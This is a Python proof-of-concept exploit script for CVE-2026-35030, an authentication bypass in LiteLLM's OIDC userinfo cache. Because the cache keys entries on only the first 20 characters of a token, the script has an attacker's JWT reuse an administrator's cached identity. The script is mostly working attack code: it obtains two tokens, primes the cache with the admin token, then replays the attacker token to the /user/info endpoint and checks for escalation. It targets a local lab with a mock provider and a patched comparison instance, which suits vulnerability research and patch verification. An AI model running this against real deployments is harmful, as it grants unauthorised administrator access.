1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
| #!/usr/bin/env python3
"""
CVE-2026-35030 — LiteLLM OIDC Userinfo Cache Key Collision Exploit
Demonstrates authentication bypass by exploiting the weak cache key
(token[:20]) in LiteLLM's OIDC userinfo cache.
The attack:
1. Obtain an admin JWT from the OIDC provider
2. Send it to LiteLLM → triggers OIDC userinfo fetch → cached with key = token[:20]
3. Obtain an attacker JWT (different user) with same signing algorithm
4. The attacker JWT has the SAME first 20 characters → cache HIT
5. LiteLLM returns the admin's cached userinfo → privilege escalation
Usage:
# Default: demonstrate the collision (no actual exploit)
python3 exploit.py --mode demo --target http://localhost:4000
# Full exploit: authenticate as admin using attacker's token
python3 exploit.py --mode exploit --target http://localhost:4000
# Compare with fixed version
python3 exploit.py --mode exploit --target http://localhost:4001 --fixed
"""
import argparse
import json
import sys
import requests
from token_forge import TokenCollider, analyze_token
def get_oidc_base(target: str) -> str:
"""Derive the OIDC mock base URL from the LiteLLM target.
When running locally, the OIDC mock is at localhost:8000.
When running inside Docker, use the container name.
"""
return "http://localhost:8000"
def demo_collision(oidc_url: str):
"""Step 1: Demonstrate that two different JWTs share the same prefix."""
print("=" * 70)
print("CVE-2026-35030 — Cache Key Collision Demonstration")
print("=" * 70)
collider = TokenCollider(oidc_url)
result = collider.get_two_tokens("admin", "attacker")
print(f"\n[+] Admin JWT (subject=admin):")
print(f" Token: {result['admin_token'][:60]}...")
print(f" Prefix: '{result['admin_prefix']}'")
print(f"\n[+] Attacker JWT (subject=attacker):")
print(f" Token: {result['attacker_token'][:60]}...")
print(f" Prefix: '{result['attacker_prefix']}'")
if result["collision"]:
print(f"\n[🔥] COLLISION: Both tokens share the same first 20 characters!")
print(f" Reason: {result['collision_reason']}")
print(f"\n In LiteLLM, both tokens will produce the SAME cache key:")
print(f" cache_key = token[:20] = '{result['admin_prefix']}'")
print(f" → The attacker's request retrieves the ADMIN's cached userinfo.")
else:
print(f"\n[-] No collision detected (unexpected with RS256 JWTs)")
return False
# Show decoded headers to prove they're identical
admin_analysis = result["analysis"]["admin"]
attacker_analysis = result["analysis"]["attacker"]
print(f"\n[+] Decoded JWT headers (identical → same prefix):")
print(f" Admin header: {json.dumps(admin_analysis['header'])}")
print(f" Attacker header: {json.dumps(attacker_analysis['header'])}")
print(f"\n[+] Decoded JWT payloads (different users):")
print(f" Admin payload: sub={admin_analysis['payload'].get('sub')}, "
f"groups={admin_analysis['payload'].get('groups')}")
print(f" Attacker payload: sub={attacker_analysis['payload'].get('sub')}, "
f"groups={attacker_analysis['payload'].get('groups')}")
return True
def test_litellm_health(target: str) -> bool:
"""Check if LiteLLM is reachable."""
try:
resp = requests.get(f"{target.rstrip('/')}/health", timeout=10)
# /health returns 401 without auth key, but server is reachable
if resp.status_code in (200, 401):
return True
except requests.RequestException:
pass
try:
resp = requests.get(target.rstrip("/"), timeout=10)
return resp.status_code == 200
except requests.RequestException:
return False
def attempt_exploit(target: str, oidc_url: str, is_fixed: bool = False):
"""
Full exploit attempt: use the cache collision to escalate privileges.
Steps:
1. Get admin JWT from OIDC provider
2. Send admin JWT to LiteLLM → triggers OIDC userinfo → cached
3. Get attacker JWT (different user, same first 20 chars)
4. Send attacker JWT → should hit the admin's cache entry
5. Verify: LiteLLM treats the attacker as admin
"""
tag = "FIXED" if is_fixed else "VULNERABLE"
print(f"\n{'=' * 70}")
print(f"[{tag}] Exploit Attempt — target: {target}")
print(f"{'=' * 70}")
if not test_litellm_health(target):
print(f"[-] LiteLLM is not reachable at {target}")
print("[-] Start the containers first: docker compose up -d")
return False
collider = TokenCollider(oidc_url)
# Step 1: Get both tokens
print("\n[*] Step 1: Obtaining JWTs from OIDC provider...")
admin_data = collider.get_token("admin")
attacker_data = collider.get_token("attacker")
admin_token = admin_data["token"]
attacker_token = attacker_data["token"]
print(f" Admin JWT prefix: '{admin_token[:20]}'")
print(f" Attacker JWT prefix: '{attacker_token[:20]}'")
print(f" Prefix collision: {admin_token[:20] == attacker_token[:20]}")
# Step 2: Send admin JWT to LiteLLM → populates cache
print("\n[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...")
admin_headers = {
"Authorization": f"Bearer {admin_token}",
"Content-Type": "application/json",
}
try:
admin_resp = requests.get(
f"{target.rstrip('/')}/user/info",
headers=admin_headers,
timeout=10,
)
print(f" HTTP {admin_resp.status_code}")
if admin_resp.status_code == 200:
print(f" Response: {json.dumps(admin_resp.json(), indent=4)}")
except requests.RequestException as e:
print(f" Request failed: {e}")
# Step 3: Send attacker JWT → should hit admin's cache entry
print("\n[*] Step 3: Sending attacker JWT (cache collision attempt)...")
attacker_headers = {
"Authorization": f"Bearer {attacker_token}",
"Content-Type": "application/json",
}
try:
attacker_resp = requests.get(
f"{target.rstrip('/')}/user/info",
headers=attacker_headers,
timeout=10,
)
print(f" HTTP {attacker_resp.status_code}")
if attacker_resp.status_code == 200:
result = attacker_resp.json()
print(f" Response: {json.dumps(result, indent=4)}")
# Check if we got admin identity
# The /user/info endpoint returns LiteLLM's user format, which uses
# 'user_id' not 'sub'. The cache collision means the attacker's request
# returns the admin's user info.
user_id = result.get("user_id", "")
sub = result.get("sub", "")
if user_id == "admin" or sub == "admin" or "admin" in str(result.get("groups", [])):
print(f"\n[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!")
print(f" Attacker's token[:20] matched admin's cache key.")
print(f" Response user_id='{user_id}' (expected 'admin' for escalation)")
if is_fixed:
print(" (Unexpected for fixed version — check config)")
else:
print(f"\n [+] Attacker identified as user_id='{user_id}'.")
if is_fixed:
print(" [+] Fixed version: cache collision prevented.")
except requests.RequestException as e:
print(f" Request failed: {e}")
print()
return True
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-35030 — LiteLLM OIDC Cache Key Collision Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Demonstrate the cache key collision
python3 exploit.py --mode demo
# Full exploit against vulnerable instance
python3 exploit.py --mode exploit -t http://localhost:4000
# Show that fixed version is not vulnerable
python3 exploit.py --mode exploit -t http://localhost:4001 --fixed
""",
)
parser.add_argument("--mode", choices=["demo", "exploit"], default="demo",
help="demo: show cache collision | exploit: attempt auth bypass")
parser.add_argument("-t", "--target", default="http://localhost:4000",
help="LiteLLM target URL")
parser.add_argument("--oidc-url", default="http://localhost:8000",
help="OIDC provider base URL")
parser.add_argument("--fixed", action="store_true",
help="Mark target as fixed (v1.83.0+)")
args = parser.parse_args()
if args.mode == "demo":
success = demo_collision(args.oidc_url)
if not success:
sys.exit(1)
print(f"\n{'=' * 70}")
print("[*] To run the full exploit: python3 exploit.py --mode exploit")
print(f"{'=' * 70}")
else:
attempt_exploit(args.target, args.oidc_url, is_fixed=args.fixed)
if __name__ == "__main__":
main()
|
